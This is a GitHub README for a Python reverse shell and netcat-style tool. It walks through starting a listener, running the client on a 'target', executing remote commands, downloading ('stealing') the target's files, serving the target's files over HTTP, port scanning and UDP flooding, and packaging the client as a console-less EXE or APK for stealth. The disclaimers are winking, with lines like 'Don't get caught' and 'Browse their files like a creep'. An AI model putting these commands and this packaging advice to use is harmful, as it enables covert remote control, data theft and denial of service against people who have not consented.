Skip to content

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

48 Commits
 
 
 
 
 
 
 
 

Repository files navigation

NetCut & Reverse Shell


Welcome To The Circus

Another reverse shell. I know. You're shocked.
Built for "educational" purposes. That's the story. We're sticking to it.

You're here because you want to control things you shouldn't. I'm here because I needed a hobby. Let's not pretend otherwise.


The Disclaimer (You Know The Drill)

Educational use only. Your own lab, authorised tests, or "learning".
Using this on someone else's computer without permission is illegal. Shocking, I know.
You're responsible, not me. I'm just the idiot who wrote the code.
I'm not your lawyer. I'm not your alibi. I'm not even sure I'm a real person at this point.


What's In The Box

Python reverse shell. Netcat wannabe. Chaos.

Run netcat.py on your machine. Run reverce_shell.py on the target.
(Yes, it's misspelled. No, I don't care. It's a feature at this point.)

Features That Definitely Exist:

  • Remote shell – because typing commands on someone else's computer is fun
  • File download – like stealing candy from a baby, but more digital
  • HTTP server – because 2003 called and wants its tool back
  • UDP flood – for when you want to pretend you're in a movie
  • Port scanner – so original
  • Local execution – because you'll forget which terminal you're in

Works on Windows, Linux, Android. Maybe on a toaster if you try hard enough.


How This Beautiful Disaster Works

Attacker (netcat.py) ◄── reverse connection ──► Target (reverce_shell.py)

Start listener. Target runs shell. Target connects back. You type commands. They run on target. Output comes back.
It's not rocket science. It's sockets. Boring, reliable, old-school sockets.


Getting It Running (Without Crying)

git clone https://github.com/omer-devil/netcut-and-reverce_shell.git
cd netcut-and-reverce_shell
# no external deps – just Python standard library, because I'm not a monster

Step 1: Start The Listener (Attacker)

python netcat.py

Default port: 4444. You'll see [+] Waiting for incoming connections...
Now go do something else. This will take a while.

Step 2: Run The Shell (Target)

python reverce_shell.py

It'll connect back. You'll see reverse_shell> prompt.
Congratulations. You're now a script kiddie.


NetCat Standalone Tools

Because one tool wasn't enough.

Command What It Does Example
-d <url> Download file from URL python netcat.py -d https://example.com/file.pdf
-s <ip> Port scan (creative, I know) python netcat.py -s 192.168.1.1
--udp-flood <ip> UDP flood (educational) python netcat.py --udp-flood 192.168.1.100
-l <port> Start listener python netcat.py -l 55555
-ss <folder> HTTP server python netcat.py -ss ./shared

During UDP flood: list, kill <target>, exit.
Don't act like you're in a movie.


Commands Inside The Shell (The Real Fun)

Once connected, these work at the reverse_shell> prompt.

Command What It Does Example
l-host Run command on your machine l-host ls
download Steal files from target download video.mp4
server Start HTTP server on target server 127.0.0.1:468
target-ip Show target IP target-ip
output_save Save command output output_save True
help Show this message help

l-host – Local Host Execution

Run commands on your own machine.
Because you'll forget which terminal you're in.

Syntax:

l-host <command>

Example:

reverse_shell> l-host pwd
/home/attacker/Desktop
# Surprise. You're still on your own machine.

download – File Download

Steal... I mean, download files from target.

Syntax:

download <filename>

Example:

reverse_shell> download video.mp4
[+] Downloading video.mp4...
[+] File size: 15.2 MB
[+] Download complete: video.mp4 saved to ./downloads/
# Hope it's not something you'll regret.

Supported Files: Videos, music, documents, images, archives, apps – basically everything.


server – HTTP Server

Start HTTP server on target. Browse their files like a creep.

Syntax:

server <IP:PORT>

Example:

reverse_shell> server 0.0.0.0:8080
[+] HTTP Server started on 0.0.0.0:8080
[+] Access at: http://<target-ip>:8080

Notes: Use 0.0.0.0 to bind all interfaces. Press Ctrl+C to stop.
Don't get caught.


target-ip – Show Target IP

Because you forgot. Again.

Syntax:

target-ip

Example:

reverse_shell> target-ip
[+] Target IP Address: 192.168.1.105

output_save – Save Command Output

Save outputs. For when you want to remember your failures.

Syntax:

output_save True
output_save False

Example:

reverse_shell> output_save True
[+] Output saving enabled
# Now every mistake is documented. Forever.

help – Command Help

Because you clearly didn't read this README.

╔═══════════════════════════════════════════════════════════════╗
║                    NETCUT & REVERSE SHELL                     ║
║                         HELP MENU                             ║
╠═══════════════════════════════════════════════════════════════╣
║  l-host <command>     : Execute command on local host         ║
║  download <file>      : Download file from target             ║
║  server <IP:PORT>     : Start HTTP server on target           ║
║  target-ip            : Show target IP address                ║
║  output_save <T/F>    : Enable/disable output saving          ║
║  help                 : Show this help message                ║
╚═══════════════════════════════════════════════════════════════╝

Converting To EXE Or APK (Because Python Isn't Stealthy)

Windows (.exe)

pip install pyinstaller
pyinstaller --onefile --noconsole reverce_shell.py

Android (.apk)

pip install buildozer
buildozer init
# edit buildozer.spec
buildozer android debug

The Dark Trio

Project Link
SpecterPanel GitHub
PhantomGate GitHub
PhontomGate GUI GitHub

Legal Stuff (Because Lawyers)

Allowed: Authorised pentests, your own lab, learning.
Not allowed: Random people, illegal stuff, being a jerk.

No warranty. Use at your own risk.
I'm not responsible for your bad decisions.


Author

Omer Kemal – security researcher, developer, caffeine addict.


© 2023 – for learning, not for being a jerk.
Built with caffeine. Powered by curiosity. Sustained by spite.
No refunds. No regrets. No sleep.

About

Reverse_shell is a Python-based reverse shell and remote command execution tool for security research and controlled penetration testing. It includes a controller (Netcat.py) that listens for connections and a client (Reverce_shell.py) that connects back to execute commands remotely.

Topics

Resources

Stars

Watchers

Forks

Releases

Packages

Used by

Contributors

Languages